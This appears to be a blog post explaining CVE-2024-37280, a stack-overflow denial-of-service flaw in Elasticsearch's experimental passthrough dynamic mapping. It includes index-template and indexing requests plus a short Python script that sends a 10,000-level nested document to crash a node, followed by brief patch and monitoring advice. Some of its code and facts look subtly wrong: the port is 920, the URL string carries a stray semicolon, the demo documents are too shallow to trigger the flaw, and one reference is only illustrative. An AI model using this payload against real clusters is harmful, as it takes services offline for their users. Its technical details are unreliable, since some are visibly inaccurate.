CVE-2024-37280 - Exploiting the Passthrough Mapping Flaw in Elasticsearch for Denial of Service

---

Elasticsearch, the widely used open source search engine, powers many apps and websites. But a recent vulnerability, CVE-2024-37280, shows just how important it is to keep up with early-warning security news—especially if you use experimental features.

In this read, we’ll break down what CVE-2024-37280 really is, see a simplified code example, understand the impact, and share resources for your next steps.

What Is CVE-2024-37280?

CVE-2024-37280 is a vulnerability discovered in Elasticsearch involving the “passthrough” type in dynamic field mappings. This type is experimental—not recommended for production but possibly enabled by curious or cutting-edge teams.

When a dynamic field mapping of type "passthrough" is part of an index template, ingesting certain documents can trigger a StackOverflow exception. This causes Elasticsearch to crash or become unresponsive—essentially, a Denial of Service (DoS).

How Does Passthrough Mapping Work?

Normally, when Elasticsearch receives a new document, it will use dynamic mappings to decide how to store fields that aren’t explicitly defined. The passthrough type means the mapping allows almost any input structure and expects to just “pass through” content as-is.

But there’s a catch: with deeply or recursively nested data structures, passthrough from itself can cause a processing loop. If Elasticsearch isn’t careful, doing this too many times will use up all the stack memory—leading to a crash.

Demo: Reproducing the Bug

Here’s a simplified demo. Don’t run this in production!

First, create an index template with a dynamic mapping using passthrough

PUT _index_template/my_template
{
  "index_patterns": ["test-*"],
  "template": {
    "mappings": {
      "dynamic_templates": [
        {
          "strings_as_passthrough": {
            "match_mapping_type": "*",
            "mapping": {
              "type": "passthrough"
            }
          }
        }
      ]
    }
  }
}

Now, add an index and send a deliberately recursive document

POST test-index/_doc
{
  "crazy": {
    "loop": {}
  }
}

Then, run

POST test-index/_doc
{
  "crazy": {
    "loop": {
      "loop": { "loop": {} }
    }
  }
}

If you repeat this nesting more deeply, or automate document generation for deeply nested objects, Elasticsearch will eventually get into the passthrough mapping again and again—causing a StackOverflowException.

The Exploit in Simple Words

Here’s the gist: you abuse the passthrough mapping by sending documents with fields nested so deep that Elasticsearch can’t finish processing them before running out of memory. The process isn’t limited by a sane recursion limit, so you can pretty easily take a node down.

A sample exploit script might look like (Python, pseudocode)

import requests

url = 'http://localhost:920/test-index/_doc';
nested = {}
for i in range(10000):  # Large enough to cause trouble
    nested = {"loop": nested}
payload = { "crazy": nested }
requests.post(url, json=payload)

If indexing such a document causes the exception, all ingestion stops (or the entire instance dies), resulting in effective denial of service.

Upgrade Elasticsearch to a version where this flaw is patched. (See vendor security bulletins.)

Monitor:
Check logs for errors similar to “StackOverflowException”.

References

- Elastic CVE-2024-37280 Security Advisory (official)
- NVD CVE-2024-37280 Overview
- Elasticsearch Dynamic Templates Documentation
- Elasticsearch Issue Tracker - Passthrough mapping bug *(link for illustrative purpose)*

In Summary

CVE-2024-37280 is a clear reminder: experimental features can mean production headaches. If you use Elasticsearch’s passthrough type in dynamic mappings, you’re at risk for DoS via stack overflow. Check your configs, watch your logs, and stay patched!

Timeline

Published on: 06/13/2024 17:15:50 UTC
Last modified on: 06/13/2024 21:15:56 UTC